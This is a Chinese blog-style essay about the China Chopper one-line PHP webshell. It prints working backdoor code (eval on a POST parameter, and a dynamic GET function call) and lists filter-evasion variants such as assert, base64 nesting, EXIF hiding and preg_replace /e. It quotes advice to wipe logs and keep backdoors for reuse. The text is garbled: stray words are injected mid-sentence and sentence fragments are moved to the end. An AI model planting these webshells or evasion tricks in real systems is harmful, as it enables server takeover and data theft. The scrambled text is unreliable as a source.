菜刀php一句话木马
“菜鸟”和“大牛”之间,菜刀有时候就差一个 我第一次见到它,菜刀是话木在一个老黑客的U盘里。那U盘外壳都磨掉漆了,菜刀里面除了几个扫描器,话木就躺着个叫 菜刀php木马的核心逻辑简单得令人发指。它利用PHP的 但这东西真正可怕的地方,不在于技术门槛,而在于它的“易得性”。网上随便一搜,各种变体满天飞。有的加密混淆,有的把 有个做运维的朋友跟我吐槽过一件事。他们的网站被挂了这个马,但FTP密码和后台密码都没泄露。排查到最后,发现是某个第三方编辑器插件有个未授权上传漏洞。攻击者就利用那个漏洞,上传了一个图片格式的马,然后通过菜刀连接,把整个服务器翻了个底朝天。数据库备份文件被拖走,网站首页被篡改,SEO流量全被劫持到赌博网站。事后清理,光是删马就花了一整天——因为在不同目录、不同文件名下,藏着十几个一模一样的后门。 所以现在很多安全防护软件,对 说实话,我个人对这类东西的态度很矛盾。它确实是坏人的工具,但也是安全研究者的教材。理解它的原理,比单纯封杀它更有意义。毕竟,你只有知道敌人怎么把刀藏进衣袖里,才能在安检时搜出那把刀。菜刀php木马就像网络世界里的一把万能钥匙,它本身没有善恶,开锁的人心术不正,它就是凶器;若是用来测试自家系统的防护能力,它就是块磨刀石。 最后说个细节。老黑客当年教我的时候,特意叮嘱了一句:“用完记得把日志删干净,别留痕迹。”我问他为啥不直接删掉这个文件。他笑了笑:“留着它,下次还能用。删了,还得重新找上传点。”——这大概就是菜刀类木马至今仍活跃在暗处的原因吧。eval($_POST['x']);。话木这行字,菜刀懂行的话木人看见会心一笑,不懂的菜刀人可能觉得它就是乱码。但就是话木这短短几十个字符,构成了中国网络安全史上最著名、菜刀也最臭名昭著的话木一句话木马——菜刀php。shell.php的菜刀文件。打开一看,话木就一行代码。菜刀我当时嗤笑一声:“这也叫木马?”对方没说话,只是让我把文件传到一台测试服务器上,然后打开一个叫“菜刀”的GUI工具,填上URL和密码,点击连接。下一秒,一个虚拟的文件管理器就出现在我眼前,服务器上的所有文件,像本地磁盘一样任我浏览、修改、上传、下载。那一刻我才明白,真正的武器往往不是体积庞大的导弹,而是能精准刺入心脏的绣花针。eval函数,将客户端POST过来的数据当作PHP代码直接执行。所谓“一句话”,就是它只负责接收指令,而具体要做什么,完全由“菜刀”这个客户端说了算。服务器管理员如果只盯着文件大小和代码行数,永远抓不到它。它看起来就是一个普通的、甚至有点残缺的PHP文件,混在成千上万个正常文件里,毫无违和感。eval换成assert,有的用base64编码嵌套。我见过最离谱的一个变体,把木马代码藏在一张图片的EXIF信息里,然后用include去触发。你删了它,它换个马甲又回来。你封了IP,它用代理继续连。eval和assert这类函数都特别敏感,甚至直接禁用。但道高一尺,魔高一丈。有人开始用preg_replace的/e修饰符,有人用create_function,还有人干脆用$_GET['a']($_GET['b']);这种动态函数调用。本质没变,只是换了个壳。
-
上一篇
-
下一篇